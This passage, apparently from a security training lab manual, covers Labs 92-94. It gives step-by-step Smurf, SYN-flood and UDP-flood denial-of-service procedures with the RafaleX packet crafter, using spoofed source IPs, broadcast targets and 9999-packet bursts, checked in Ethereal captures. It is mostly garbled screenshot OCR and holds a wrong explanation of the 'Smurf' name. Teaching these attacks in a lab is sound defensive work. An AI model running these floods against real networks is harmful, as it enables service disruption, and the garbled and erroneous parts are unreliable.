👘 Vind	lows 2000 Server	Windows 2000 Ad	vanced Server 🗌 🌇 Red Hat L	nux 8 Server 🛛 🛐 Windows :	2000 Professional 🔐 Win 🔹 🕨 🗙
(Until	tled) - Ethereal				_181 ×1
<u>File E</u> d	dit <u>V</u> iew <u>G</u> o <u>G</u>	apture <u>A</u> nalyze <u>S</u> tatis	tics <u>H</u> elp		
			× @ 🗕 🖻 🗢		
Eilter:			-	Expression Clear Apply	
No.	Time	Source *	Destination	Protocol Info	<u> </u>
1037	0 204.309340) 172.16.1.60	172.16.1.60	HTTP TCP Zero	window Continuation or
1036	9 204.308771 8 204.308192	172.16.1.60	172.16.1.60	HTTP TCP Zero	window] Continuation or
1036	7 204.307612	172.16.1.60	172.16.1.60	HTTP [TCP Zero	window] Continuation or
1036	6 204.304231	172.16.1.60	172.16.1.60	HTTP TCP Zero	window] Continuation or
1036	5 204.303696 4 204 303055	172.16.1.60	172.10.1.00	HTTP [TCP Zero	window] Continuation or
1036	3 204.302106	172.16.1.60	172.16.1.60	HTTP TCP Zero	window] Continuation or
1036	2 204.30148	172.16.1.60	172.16.1.60	HTTP [TCP Zero	window] Continuation or
1036	1 204.300628	1/2.16.1.60	172.16.1.60	HTTP TCP Zero	Window] Continuation or
		172 16 1 60	475 46 4 66		
1					<u> </u>
🗄 Fran	ne 10370 (90	bytes on wire,	90 bytes captured)		
Ethe	ernet II, Sr	c: 172.16.1.56 (00:0c:29:07:ee:54),	Dst: 172.16.1.60 (00	:0c:29:dc:e9:b6)
I Trat	ismission Co	introl Protocol.	Src Port: http (80).	Dst Port: http (80)	. Seg: 0. Ack: 0. Len: 36
⊞ Hype	ertext Trans	fer Protocol	Sie i of et neep (00),	bot for the help (ou)	, sedi a, sedi a, cent se
0000	00 0c 29 dc	e9 b6 00 0c 29	07 ee 54 08 00 45 0	0))TE	
0010	00 4C 5T 2e		- e5 ac 10 01 3c ac 1	V .L	
0030	00 00 82 Za	00 00 4c 41 4e	44 20 41 54 54 41 4	3*LA ND ATTA	
0040	4b 20 4c 41 4e 44 20 41	4e 44 20 41 54 54 54 41 43 76	54 41 43 4b 20 4c 4	L K LAND A TTACK L. ND ATTAC K.	۹ ۲
File: "C:\l	DOCUME~1\ADMIN	P: 10387 D: 10387 M: 0	Drops: 0	NO BUIR N.	
#Star	100	rafale x v1.1	(Untitled) - E	thereal 🗒 Rafale X	@√: ■鄧 10:22 AM

*Note: This attack can be easily defeated from external attacks by ingress filtering. This still leaves you vulnerable to internal land attacks, and depending on all the traffic generated, it can be difficult to locate the actual attacker. It would require backing up switch by switch to create a process of elimination to locate the actual system sending the attack.

Lab 92: Denial-of-Service — Smurf Attack

DoS Smurf Attack: Smurf Attack

Prerequisites: None

Countermeasures: Secure ACLs, Bastion servers/workstations

- **Description:** Attackers are using ICMP echo request packets directed to IP broadcast addresses from remote locations to generate denial-of-service attacks. The packets use a "spoofed" source address so all responding machines on that network send traffic to that target, creating a large amount of network congestion.
- **Procedure:** Install RafaleX, set parameters, and execute against the target. Verify with the packet sniffer.
- Install the RafaleX application as outlined in Lab 48.
- Install the Ethereal application as outlined in Lab 41.
- Open the Ethereal application and start capturing data (refer to Lab 41).
- Open the RafaleX application by clicking on the **RafaleX.exe** icon.



The RafaleX application will start.

Windows 2000 Professional - VMware Workstation
File Edit View VM Team Windows Help
🚯 Windows 2000 Server 👔 Windows 2000 Advanced Server 🚯 Red Hat Linux 8 Server 👔 Windows 2000 Professional 🚳 Win 🔹 🕻
My Documents Ethereal
Rafale X
File Tools Modules Managers Options Language Help
My Com, GP 118 129 129 129 129 129 129 129 129 129 129
Network interface: 1: 172.16.1.56 🔽 🖸 TCP UDP ICMP
Set as source IP Set as destination IP Sequence : 0 Acknowledge : 0
Place Source IP: Port: 1 Specify data offset 0 (bytes)
C Destination IP: Port: 1 URG ADK PSH RST SYN FIN
Recycle Specify header size 20 (bytes) Window : 0 Urgent : 0
Type of service : Routine
Specify identification Data :
Explor Fragmentation: DF: 0: May Fragment
Offset: 0 TTL: 128 - Nb of packets: 1 - Packet type: TCP V SEND
Shortc Protocol: 6:TCP
Specily checksum 🗋 🕕 🗍 👘 🗍 👘
Zhôni Status : Ready.
🔉 🛣 🕼 🕼 😭 📰 📄 🔄 🖓 rafale x v1.1 🔹 🕲 VMware Acceler 🕲 Ethereal: Captu 👹 Rafale X 👘 🖗 🕮 9:23 AM

Set the **Source IP** to a "spoofed" IP address (10.10.10.10). Set the **Source Port** to **123**.

👰 Windows 2000 Professional - VMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🚯 Windows 2000 Server 🔹 Windows 2000 Advanced Server 🔹 Red Hat Linux 8 Server 🖏 Windows 2000 Professional 🔂 Win	() ×
My Documents Ethereal	
Rafale X	
File Tools Modules Managers Options Language Help	
My Com 译 胞 卷 译 원 문 关 골 ?	
Network interface: 1: 172.16.1.56 V TCP UDP ICMP	
Set as source IP Set as destination IP Sequence : 0 Acknowledge : 0	
My Netu [IP] Place Source IP: 17216.1.60 Port: 123 Specify data offset [0 (bytes)	
Destination IP: Port: [Flags] URG ADK PSH RST SYN FIN	
Recycle Specify header size 20 (bytes) Window : 0 Urgent : 0	
Type of service : Routine	
Specify identification Data:	
Intern Fragmentation : DF : 0 : May Fragment	
MF: 0: Last Fragment 🔽 [Commands]	
Offset: 0 TTL: 128 - Nb of packets: 1 - Packet type: TCP - SEND	
Shortc Protocol: 6:TCP	
Specify checksum	
ZxOni Status : Ready.	
Image: Start I	26 AM

Set the **Destination IP** to the **Broadcast** address of the network (x.x.x.255). Set the **Destination Port** to port **80**.

💽 Windows 2000 Professional - VMware Workstation
File Edit View VM Team Windows Help
🚯 Windows 2000 Server 👔 Windows 2000 Advanced Server 🚯 Red Hat Linux 8 Server 👔 Windows 2000 Professional 👸 Win 🚺
My Documents Ethereal
Rafale X
File Tools Modules Managers Options Language Help
My Com C2 10 12 12 12 12 12 12 12 12 12 12 12 12 12
Network interface: 1: 172.16.1.56 🔽 🖸 TCP UDP ICMP
Set as source IP Set as destination IP Sequence : 0 Acknowledge : 0
Place Source IP: 17216.1.60 Port: 123 Specify data offset D (bytes)
Operation IP: 172.16.1.255 Port: 80 [Flags]
Tune of service: Bouline
Specify Identification
Intern Fragmentation: DE: 0: Mau Fragment
Explor MF: 0: Last Fragment V [Commands]
Offset: 0 TTL: 128 Nb of packets: 1 Packet type: TCP SEND
Shortc Protocol: 6: TCP
Specify checksum
ZASAR Status : Ready.
🗿 🕼 🗂 📄 👔 🗂 🔄 🔄 👘 👘 👘 🖉 🖉 🖓 👘 🖉 🖉 🍘 🖓 🖉 🖉 🌚 🖓 🖓 🖓 🖓 🖓 🖓 🖓 🖓 🖓 🖓 🖓 🖓 🖓

Click on the **ICMP** tab. Enter random data for the payload of each packet. Set the **Nb of packets** to **9999**. Click the **SEND** button.

iy Docume	ows 2000 Server 👔 Vandows 2000 Advanced Server	To Red Het Linux O Server T ₍₁₎ Windows 2000 Professioner (1) Win ()
	File Tools Modules Managers Options Language He	¢
Recycle	Network interface: 11:172.16.1.56 V V Set as source IP Set an destination IP Set as source IP: 172.16.1.50 Post. 122 Destination IP: 172.16.1.25 Post. 122 Destination IP: 172.16.1.25 Post. 120 Specily honders sime 120 (bytes) Type of service: Routine V Specily honders sime 120 (bytes) Type of service: Routine V Specily honders sime 120 (bytes) Friegmentations OF: 0.1.48 (Friegment V Mf: 0.1.48 (Friegment V Office: 0 TTL: 128- Protocol: 1.10MP Specily checksum 0	TCP UDP ICMP Type: 0 Code: 0 0 Specify ICMP checksum Dete: 5MUTP ATTACK SMUTP ATTACK SMUTP ATTACK SMUTP ATTACK ICMP Mag. Echo Request Identifier: 0 Sequence: 0 I Commands 1 Nb of packets: 5993 Packet type: ILMP S SEND I Scept 1 RUN SCHIPT
ZxSnl	Status : Ready.	

*Note: I have used RafaleX for several years and at times it can appear to be "buggy" by not wanting to send packets. The best way I have found to fix this is to close the program, bring it back up, and try again.

The status bar along the bottom of the application will tell you how many packets it has sent compared to how many packets it will send.

*RafateX ile Tools Modules Managers Options Language Hi
Netwol: irreface: 172161.56 ♥ Set as souce IP Set as destination IP Souce IP: 172161.50 Poil: Souce IP: 172161.50 Poil: Souce IP: 172161.50 Poil: Specily header size: 00 Poil: Specily header size: 00 (Poil: Specily sheder size: 0 (Poil: Figgmentation: 0: 0 Mf: 0: Last regenetity Office: 0: TTL: Specily checksum: 0

File Edit Verwork Verdows 2000 Server Image: Product Server	Windows	2000 Profes	sional - ¥Mware Works	ation		_101
With Source Wetabort 2000 Advanced Server Image: Resolution	File Edit	View VM	Team Windows Hel	p		
Virkdows 2000 Jerret Wirkdows 2000 Advanced Server The Bill Linux U Server Wirkdows 2000 Patients (Until U-) Ethereal Image: Server Ima	. 00	00	0 0 0 0			
ie Lot: typer 50 Cabore Analyze 220505 Heb ie Lot: typer 50 Cabore Analyze 220505 Heb ie Lot: typer 50 Cabore Analyze 220505 Heb ie Lot: typer 50 Lot: typer 50 Lot: typer 50 ie Lot: typer 50 Lot: typer 50 Lot: typer 50 Lot: typer 50 ie Lot: typer 50 ie Lot: typer 50 Lot: typer 50 <td< th=""><th>i vindow 2 (Untitled</th><th>s 2000 Server D - Ethereal</th><th>Windows 2000 Ad</th><th>vanced Server 👔 Red Hat L</th><th>inux 8 Server 📲 👘 Windows 2000 Pro</th><th>tessional 🔠 Win 🔹 :</th></td<>	i vindow 2 (Untitled	s 2000 Server D - Ethereal	Windows 2000 Ad	vanced Server 👔 Red Hat L	inux 8 Server 📲 👘 Windows 2000 Pro	tessional 🔠 Win 🔹 :
No. Destination Destination Destination Destination Destination a. The Same Destination Destinatinon Destination Desti	File Fdt	West Go	Carbura Analyze Statis	tos Help		
Barr Expression Date Barr a. The Searce Destination Protocol Main Barr Destination Protocol Main Barr Destination Protocol Main Destination Protocol				· @ 🗕 🖻 🗢		. Q. Q. Q.
n. There Source Destination Protocol Soft 2 0 0005000 #2.00 Form 1 Soft Construction Add P	Elter:				Expression Qear Apply	
Concorded top res 4/2 + Concert Concert = 4/2 + Concert <thconcert< th=""> <thconcert< th=""> <</thconcert<></thconcert<>	No 1	Time	Source	Destination	Protocol Info	-
000 ff ff ff ff ff ff ff f00 12 88 42 34 c9 08 06 00 01	2 2 3 3 4 3 4 3 4 4 3 4 4 4 4 4 4 4 4 4	2.0020000 2.02551 2.025551 2.027437 2.135246 2.737437 2.135246 2.737437 2.034971 2.742903 2.036971 2.742903 2.742903 7.060924 7.70540 1.(60 by net II, Steelur 1.(60 by	122.16.0.1 172.16.0.1	Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Broadcast Uroadcast Broadcast Uroadcast	APP Who has 127.16.1 ARP Who has 127.16.1 ARP Who has 127.16.1 ARP Who has 127.16.1 ARP Who has 172.16.1 ARP Who	.437 refl 172.16.0 447 refl 172.16.0 447 refl 172.16.0 457 refl 172.16. 457 refl 172.16. 457 refl 172.16.0 457 refl 172.16.0 455 refl 172.15.0 455 refl 172.
er "Cilpocute-1/KAMIN (P. 11226 D. 11226 H. 0 Props. 0 Brand	0000 ff 0010 08 0020 ff 0030 00	ff ff ff ff 00 06 04 ff ff ff 00 00 00	ff ff 00 12 88 00 01 00 12 88 ff ff ac 10 01 00 00 00 00 00 00	42 34 c9 08 06 00 0 42 34 c9 ac 10 00 0 25 00 00 00 00 00 00 0 00 00 00	1	
	File; "C:\DOC	UME~1\ADMD	N P: 11226 D: 11226 M: 0	Drops: 0	(Intitled) - Obereal	
Let been the base		123 des 144		3,10,00,0	[190 Controlled) - controlled	D - mak

Click **Stop** to stop the packet capture and the overall results will be displayed.

Click on the **Source IP** column to filter the results based on the source IP of each packet. Fortunately for us, our spoofed packets are listed first. (You may have to click it twice to get the spoofed packets listed first.)

	an [5 100]]		ATA CAN L AND LAND		
	00 0 00				
, Vilo	dows 2000 Server	Windows 2000 Adv	anced Server 🛛 🔐 Red Hat Linux 8	Server 👔 Windows 2000 Prot	essional 🕀 Win 🔹 🕨
(Unt	itled) - Ethereal				_10
le L	dit yew Go C	apture Analyze Statist	cs Help		
			@ B Q + +	072 III	
iter:			• • • •	pression Gear Apply	
ia.	Time	Source .	Destination	Protocol Info	
1	8 11.385181	10.10.10.10	172.16.1.255	ICMP Echo (ping) rec	uest
1	9 11.388511	10.10.10.10	172.16.1.255	ICMP Echo (ping) rec	uest
2	0 11.390031	10.10.10.10	172.16.1.255	ICMP Echo (ping) red	uest
2	1 11.392555	10.10.10.10	172.16.1.255	ICMP Echo (ping) rec	uest
6	2 11.394410	10.10.10.10	172.10.1.255	TCMP Echo (ping) rec	uest
2	4 11.397439	10.10.10.10	172.16.1.255	ICMP Echo (ping) rec	uest
2	5 11.398677	10.10.10.10	172.16.1.255	ICMP Echo (ping) rec	uest
2	6 11.401329	10.10.10.10	172.16.1.255	ICMP Echo (ping) rec	uest
2	7 11.401885	10.10.10.10	172.16.1.255	ICMP Echo (ping) rec	uest
	9 11.411768	10.10.10.10	172.16.1.255	ICMP Echo (ping) rec	uest
1					1
					÷
	ross Desalut	ion Protocol (re	west)		
000 010 020	ff ff ff ff ff 08 00 06 04 ff ff ff ff	ff ff 00 12 88 00 01 00 12 88 ff ff ac 10 01	42 34 c9 08 06 00 01 42 34 c9 ac 10 00 01 31 00 00 00 00 00 00		

By selecting any of your spoofed packets, you can view the details of the packets in the center section. By dragging the borders of the sections, you can increase or decrease each section.

In this example, by looking at the center section, we can verify that each packet was successfully sent with a spoofed source IP address to the target from port 123 to port 321.

*Note: This became known as a "Smurf" attack because of its ability to crash a Windows machine and displaying the famous "Blue Screen of Death."

💽 Wir	ndows 20	000 Prol	iessio	nal - V	Mware	Workst	ation											_ 🗆 🗵
File	Edit	View V	VM 1	ream 🛛	Windov	ıs Help												
		9) (13				0	16								
E W	indows 2	000 Serv	/er	i w	ndows :	2000 Adv	anced S	erver		Red H	at Linu	x 8 Server	En VV	ndows 200	10 Professio	inal 🚦	Win	< ►×
🕲 (Ur	ntitled) -	Ethere	al															_B×
Eile	<u>E</u> dit ⊻j	ew <u>G</u> o	⊆ap	iture ,	Analyze	Statist	ics <u>H</u> e	þ										
		94 C) M		×	i R) [3 [٩		© ⇒ 🖗	T	l		Ð,	Θ, 🤅	2
<u>Filter:</u>											-	Expression.	. <u>⊂</u> lear	Apply				
No.	Time	э		Source				Destina	ation			Protocol	Info					<u> </u>
	18 11.	.38518	31	10.1	0.10.	10		172.	16.1	.255		ICMP	Echo	(ping)	reques	t		
	19 11.	. 38851	L1	10.1	0.10.	10		172.	16.1	.255		ICMP	Echo	(ping)	reques	t		
	20 11.	39003	51 55	10.1	0.10.	10		172.	10.1 16 1	255		TCMP	Echo	(ping)	reques	τ +		
	22 11.	39441	ĹŐ	10.1	0.10.	10		172.	16.1	.255		ICMP	Echo	(ping)	reques	t		
	23 11.	39517	74	10.1	0.10.	10	-	172.	16.1	.255		ICMP	Echo	(ping)	reques	t		
12	24 11.	39743	39	10.1	0.10.	10		172.3	16.1	.255		ICMP	Echo	(ping)	reques	t		
	25 11.	. 39867	77	10.1	0.10.	10		172.3	16.1	.255		ICMP	Echo	(ping)	reques	t		
	26 11.	40132	29	10.1	0.10.	10		L72.	16.1	.255		ICMP	Echo	(ping)	reques	t		
	20 11	40186	50 58	10.1	0.10.	10		172 .	16.1	255		TCMP	Echo	(ping)	reques	ι +		
	10 11	41202	75	10.1	0.10.	10	-	177	16.1	755		TCMD	Echo	(ping)	noques	+		•
4																		•
E Er	ame 18	3 (54	hy/t e	es on	wire	54	hytes	can	ture	d)								
ET ET	hernet	: 11.	Snc	: 172	.16.1	. 56 (00:0c	:29:	07:e	e:54). D:	st: 172.:	16.1.6	0 (00:0)c:29:do	::e9:b	6)	
I Ir	ternet	: Prot	oco	l, sr	c: 10	.10.1	0.10	(10.	10.1	0.10), D:	st: 172.	16.1.2	55 (172	.16.1.2	255)	- /	
🕀 Ir	nternet	: Cont	:rol	Mess	age F	rotoc	0]											
0000	00 0	ic 29	dc e	9 b6	00 0	c 29	07 ee	2 54	08	00 45	00)).	.TE.				
0010	00 2	8 03	7c 4	0 00	80 Ū	1 35	36 08	i Oa	0a (Da ac	10	.(. @.	56					
0020	01 +	+ 08	00 +	7 ++	00 0	0 00	00 00	00 (00	00 00	00							
0030	00 0	0 00	00 0	0 00														
File: "C	I:\DÓCUM	1E~1\AD	MIN JI	P: 2005	0 D: 200	350 M: 0 I	Drops: 0	1.0	u								- ANN.	
∭ ¶St	art 🛛	1 @ C	9 E		Jrafale	x v1.1		Ē	(PRaf	ale X		@) (Untitle	ed) - Ethe	real (189 9	:48 AM
																	20	🖼 🜒 //.

*Note: Attackers commonly look for routers that do not filter broadcast addresses, which fits this attack perfectly. Security Administrators should always be aware of traffic flowing through the routers on their networks.

Lab 93: Denial-of-Service — SYN Attack

DoS Land Attack: SYN Attack

Prerequisites: None

Countermeasures: Secure ACLs, Bastion servers/workstations

- **Description:** When an attacker sends a series of SYN requests with a "spoofed" source IP address to a target (victim), the target sends a SYN Acknowledge (ACK) in response and waits for an ACK to come back to complete the session setup. Because the source was "spoofed" the response never comes, filling the victim's memory buffers so that it can no longer accept legitimate requests.
- **Procedure:** Install RafaleX, set parameters, and execute against the target. Verify with the packet sniffer.
- Install the RafaleX application as outlined in Lab 48.
- Install the Ethereal application as outlined in Lab 41.
- Open the Ethereal application and start capturing data (refer to Lab 41).
- Open the RafaleX application by clicking on the **RafaleX.exe** icon.



The RafaleX application will start.

👰 Windows 2000 Professional - YMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
🚯 Windows 2000 Server 🚯 Windows 2000 Advanced Server 🚯 Red Hat Linux 8 Server 🚮 Windows 2000 Professional 🚳 Win	< → ×
My Documents Ethereal	
Rafale X	1
File Tools Modules Managers Options Language Help	
My Come 译	
Network interface : 1 : 172.16.1.56 🔽 💟 TCP UDP ICMP	
Set as source IP Set as destination IP Sequence : 0 Acknowledge : 0	
Ny Net U P J Place Source IP: Port: 1 Specify data offset D (bytes)	
Destination IP: Port: 1 [Flags]	
Recycla Specify header size 20 (bytes)	
Tune of service : Routine	
Intern Frammentation: DF: 0: Mar Framment V	
Explor MF: 0: Last Fragment	
0ffset: 0 TTL: 128 Nb of packets: 1 Packet type: TCP SEND	
Shortc Protocol: 6:TCP	
Specify checksum	
ZxSnif Status : Ready.	
第Start 1 1 @ ⑤ 印 回rafale x v1.1 ② Whware Acceler ② Ethereal: Captu 廖Rafale X ⑧ ④ ④ ⑨ 9	:23 AM
	🖼 🕖) //,

Set the **Source IP** address to a spoofed IP address (100.100.100.100). Set the **Source Port** to 123.

Verdows 2000 Server Connects Element File Tools Modules Monogers Options Language	「 Field Het Linux & Server 新 Windows 2000 Professione ①Win ・
Image: Specify dendization Image: Specify dendization Image: Specify dendization Image: Specify dendization Image: Specify dendization Image: Specify dendization Image: Specify dendization Image: Specify dendization Image	TCP UCP ICMP Sequence: 0 Acknowledge: Specify data office: [hyten] [Hags:

Set the **Destination IP** address to the target IP address. Set the **Destination Port** to **80**.

File Tools Hotelies Hanagers Options Language Help File Tools Hotelies Hanagers Options Language Help Wy Conce	X
Set as source IP Set as destination IP IP Set as source IP IP Security of the set as destination IP Security of the set as destination IP Security data offset () IP Security of the set as destination IP Specify data offset () Post: [23] Destination IP: [172:161.60 Specify dentification [) Post: [0] Specify dentification [) Post: [0] Specify dentification [) Post: [0] Fragmention: PF [0]:Lap Fragment IP Minet: III: Specify dentification [] III: Postexter Specify dentification [] Base [] ICommands [] No of packets: [] Specify checkstam []	ND RIPT

On the TCP tab click on the **SYN Flag**. Enter random data for the payload of each packet. Set the **Nb of packets** to **9999**. Click the **SEND** button.

Image: Program (P) Point (P) Point (P) Point (P) Source (P): I/00.100.100 Point: [20] Destination (P): I/22.16.00 Point: [00] Destination (P): I/22.16.00 Point: [00] Speedy header size (P): [00] [00] [00] Destination (P): Speedy header size (P): [00] [00] Speedy header size (P): [00] [00] [00] <t< th=""><th>Actorowledge: 0 Specify data offset Giffer Actorowledge: 0 Specify data offset Giffer ACK PSH RST SYN FIN Urgert: 0 Urgert: 0 Seecify TCP checksum SYN ATTACK SYN ATTACK SYN ATTACK SYN ATTACK SYN ATTACK SYN ATTACK Giffer A B B B C RUN SCRIPT</th></t<>	Actorowledge: 0 Specify data offset Giffer Actorowledge: 0 Specify data offset Giffer ACK PSH RST SYN FIN Urgert: 0 Urgert: 0 Seecify TCP checksum SYN ATTACK SYN ATTACK SYN ATTACK SYN ATTACK SYN ATTACK SYN ATTACK Giffer A B B B C RUN SCRIPT
--	--

*Note: I have used RafaleX for several years and at times it can appear to be "buggy" by not wanting to send packets. The best way I have found to fix this is to close the program, bring it back up, and try again.

The status bar along the bottom of the application will tell you how many packets it has sent compared to how many packets it will send.

endo: Ethereal ■ Rafale X File Tools: Modules Managers Options Language H (→ Tools: Modules Tools (→ → → → → → → → → → → → → → → → → → →	
Network interface: 1: 1722:16:1.56 Image: Constraint of the scientification of the scientification of the science of the scientification of the science of th	TCP UOP IONP Sequence: D Acknowledge: D Specify data chief D [bytes] [Fligg:] Window: D Urgert: D D Specify TCP checksiss Dela:: DYNATTACK: SYNATTACK No of packets: 1000 Packet type: TCP STOP [Sected] RUN SCRIPT

Click **Stop** to stop the packet capture and the overall results will be displayed.

🗐 Win	dows 20	00 Pro	fessio	onal - ¥	Mwar	e ₩o	rkstati	ion																×
File	Edit \	liew	VM ·	Team	Wind	DWS	Help																	
		9] È	3 6	13				3 (9	6													
10 V4	ndows 20	00 Ser	ver	i w	indow:	s 2000	Advan	ced Se	rver		Red	Hat Lir	iux 8 Se	rver	6	Wind	lows 2	2000 Pi	rofessio	onal	6	Win	••	×
(Un	titled) -	Ethere	al						-	-													- 8	Ч×
Eile	<u>E</u> dit ⊻je	w <u>G</u> o	⊆ap	pture	Analyz	e S	atistics	Help																
		M C	d (6	۵	×	¢	2		٩			Ô	7	1	: [[\$	ŧ		2	i)	
Eiter:												•	Expre	ssion	<u>c</u>	lear A	pply							
No	Time	į.	S	ource				Dest	inatior	n			Proto	col	Info									
	1 0.0	0000	0 1	72.10	5.0.1	L		Bro	adca	ast			ARP		who	has	172	.16.	1.40?	, т	err	172	.16.(ī
	21.0	2121	5 1	72.10	5.0.1	1		Bro	adca	ast			ARP		who	has	172	.16.	1.40?	? T	e]]	172	.16.0	ç
	4 2 0	3094.	L L 2 1	72.10	5.0.1	1		Bro	adca	ast			ARP		who	has	172	16	1.417	2 1	e11	172	16.0	
	5 4 0	3774	5 1	72.16	5 0 1	1		Bro	adca	ast			ARP		who	has	172	16	1 427	, T	ell	172	16 (č
	6 4.2	7337	1 1	72.10	5.1.	56		Bro	adca	ast			ARP		who	has	172	.16.	1.60?	, т	e11	172	.16.1	i
	7 4.2	7531	9 1	72.16	5.1.0	60		172	.16.	.1.5	6		ARP		172	.16.1	L.60	is	at 00	0:00	:29:	:dc:	e9:b6	e
	8 4.2	7535	71	.00.10	00.10	00.1	00	172	.16.	.1.6	iû		HTTE	-	[TC	₽ Zer	roWi	ndow] Cor	ntin	uati	ion	or no	
	94.2	7675	0 1	.72.10	5.1.0	60	~~	100	.100	0.10	0.10	0	TCP		htt	0 > 1	L23	[SYN	, ACK	<] s	eq=() AC	k=1 V	2
I	11 4 2	7842 9061	<u>5 1</u> 0 1	00.10	$\frac{10.10}{10}$	00.1	00	172	16	16			HITE	-	TTC	- <u>zer</u>	TWO"	ndow	l cor	nt i n	uat	ion i	or no	
	12 4 2	0001 0061	0 <u>1</u>	00.10	50.10	00.1	00	172	16	16	0		UTT:	-	TTC	- 2ei 7 7or	2001	ndow		nt i n	uat	ion i	01 110	_
4																							•	
D Er	amo 1	660	hvte	s on	wire	2 61) hvt	as c	anti	ined	5	_		_	_		_			_			-	_
E ET	hernet	TT.	src	: 172	16	0.1	(00:	12:8	8:47	2:34	: (9)	. D.	st: Br	nar	lcas	t (fi	e:ff	·ff·	ffiff	e:ff	5			
H Ad	dress	Reso	luti	on Pr	otoc	:01	(reau	est)				,		out							-			
_																								
0000	FF F	. FF	ff f	FF FF	00	12	88.4	2 34	<u>79</u>	08	06.0	0 01		_		B4	_							_
0010	08 0	0 06	04 0	00 01	õõ	12	88 4	2 34	č9	ac :	10 0	0 01		:::		.B4.								
0020	ff fi	ff	ff f	ff ff	ac	10	01 2	8 00	00	00	00 0	0 00	·			.(
0030	00 01	00 0	00 0	00 00	00	00	00 0	0 00	00					• • •	• • •									
File: "C	:\DOCUM		MIN	P: 1002	3 D: 1	0023 ľ	4: 0 Dro	ips: 0																_
B Sta	art 🛛 🖸	6	s E	- 16	Jrafa	le x v:	1.1		jë	Raf	ale X				2) (Ur	titled) - Etl	nerea		64	9	ŷ	3:44 PI	м
																					Q		1	1

Click on the **Source IP** column to filter the results based on the source IP of each packet. Fortunately for us, our spoofed packets are listed first.

👰 Wind	iows 2000 Prol	essional - ¥Mware Wor	kstation		_ 🗆 🗵				
File	Edit View V	/M Team Windows I	Help						
	mpg	0 6 13							
C /um	dows 2000 Serv	rer 👔 Windows 2000	Advanced Server	lat Linux 8 Server	Professional Win V X				
Unit	utied) - Ethere	dl			느먹스				
File i	Fait New Po	Capture Analyze Sti	atistics Help						
	ën Qi (× 🕸 📇 🖾						
Eilter:				Expression <u>C</u> lear <u>Apply</u>					
No.	Time	Source -	Destination	Protocol Info	<u> </u>				
	8 4.275357	7 100.100.100.10	0 172.16.1.60	HTTP [TCP ZeroWindo	w] Continuation or no				
	10 4.278423	100.100.100.10	0 172.16.1.60	HTTP [TCP ZeroWindo	w] Continuation or no				
	11 4.280610) 100.100.100.10	0 172.16.1.60	HTTP [TCP ZeroWindo	w] Continuation or no				
	12 4.280610	100.100.100.10	0 172.16.1.60	HTTP TCP ZeroWindo	w] Continuation or no				
	13 4.28445/	100.100.100.10	JU 172.16.1.60	HITP LICP Zerowindo	W] Continuation or no				
	15 4 200293	100.100.100.10	0 172.10.1.00	HTTP TCP Zerowindo	w] Continuation or no				
	16 4 201470	100.100.100.10	0 172.16.1.60	HTTP TCP Zerowindo	w] Continuation or no				
	17 / 203567	2 100 100 100 10	172.10.1.00	HTTP [TCP Zerowindo	w] Continuation or no				
	18 4 305750	100.100.100.10	0 172 16 1 60	HTTP ITCP Zerowindo	w] Continuation or no				
	19 4.308476	100.100.100.10	0 172.16.1.60	HTTP TCP Zerowindo	w] Continuation or no				
	70 / 71177	7 100 100 100 10	0 177 16 1 60	VTTO TCO Zopowindo	vl Continuation or no 🗵				
4					•				
E Era	ame 1 (60 h	wtes on wire 60	bytes cantured)						
H Eth	nernet II.	src: 172.16.0.1	(00:12:88:42:34:09)	. Dst: Broadcast (ff:ff:ff	:ff:ff:ff)				
Add	iress Resol	ution Protocol (request)	,					
P									
0000	ff ff ff	ff ff ff 00 12 ;	B8 42 34 c9 08 06 0	01B4					
0010	08 00 06	04 00 01 00 12	88 42 34 c9 ac 10 0) 01					
0020	TT TT TT	TT TT TT ac 10 1	DT 28 00 00 00 00 0						
0050	00 00 00	00 00 00 00 00 0							
File: "C:	File: "C:\DOCUME~1\ADMIN P: 10023 D: 10023 M: 0 Drops: 0								
B Sta	rt 🛛 🙆 🖉	🗊 📰 📋 🔄 rafale x v1	.1 BRafale X	🕲 (Untitled) - Ethere	al @《: 』 鄧 3:44 PM				

By selecting any of your spoofed packets, you can display the details of the packets in the center section. By dragging the borders of the sections, you can increase or decrease each section.

In our example, by looking at the center section, we can verify that each packet was successfully sent with the spoofed source IP address of the target to the target from port 123 to port 80.



*Note: Because of the law of TCP/IP we know that each packet sent to a computer with the SYN flag set MUST be responded to by the target. Because we have set the source to a spoofed address, the target will never receive a response and will sit and wait (up to 60 seconds) for each packet and therefore eventually use up the target's memory, causing it to lock up.

Lab 94: Denial-of-Service — UDP Flood

DoS UDP Flood Attack: UDP Flood Attack

Prerequisites: None

Countermeasures: Secure ACLs, Bastion servers/workstations

- **Description:** An attacker sends a UDP packet to a random port on the target system. The target system receives a UDP packet and determines what application is listening on the destination port. When no application is waiting on the port, it generates an ICMP packet of "destination port unreachable" to the spoofed source address. When enough UDP packets are delivered to ports on the victim to overwhelm the system, the system will deny legitimate connections.
- **Procedure:** Install RafaleX, set parameters, and execute against the target. Verify with the packet sniffer.
- Install the RafaleX application as outlined in Lab 48.
- Install the Ethereal application as outlined in Lab 41.
- Open the Ethereal application and start capturing data (refer to Lab 41).
- Open the RafaleX application by clicking on the **RafaleX.exe** icon.



The RafaleX application will start.

회 Windows 2000 Professional - VMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
j = u > 6 6 G B T D E 7 0	
🚯 Windows 2000 Server 👔 Windows 2000 Advanced Server 🚯 Red Hat Linux 8 Server 👔 Windows 2000 Professional 🚳 Win	< → ×
My Documents	
_ □ ×	
File Tools Modules Managers Options Language Help	
My Com	
Network interface : 1: 172.16.1.56 💌 🥑 TCP UDP ICMP	
Set as source IP Set as destination IP Sequence : 0 Acknowledge : 0	
Place Source IP: Port: 1 Specify data offset (bytes)	
Destination IP: Port: 1 Port: 1 URG ACK PSH RST SYN FIN	
Recycle Specify header size 20 (bytes) Window : 0 Urgent : 0	
Type of service : Routine	
Specify identification Data:	
Explor Fragmentation: DF: 0: May Fragment	
NP : U: Last Prägment V Commands j Real Officer 0 TTI - 128 No of packets : 1 Packet type : TCP V SEND	
Shorte Protocol: 6:TCP	
Specify checksum	
	-
ZkShif Status : Ready.	
★Start ① @ 章 □ □rafale x v1.1	:05 AM
	H () //.

Set the **Source IP** to a spoofed IP address (**10.10.10.10**). Set the **Source Port** to **123**.

폐 Windows 2000 Professional - VMware Workstation	
File Edit View VM Team Windows Help	
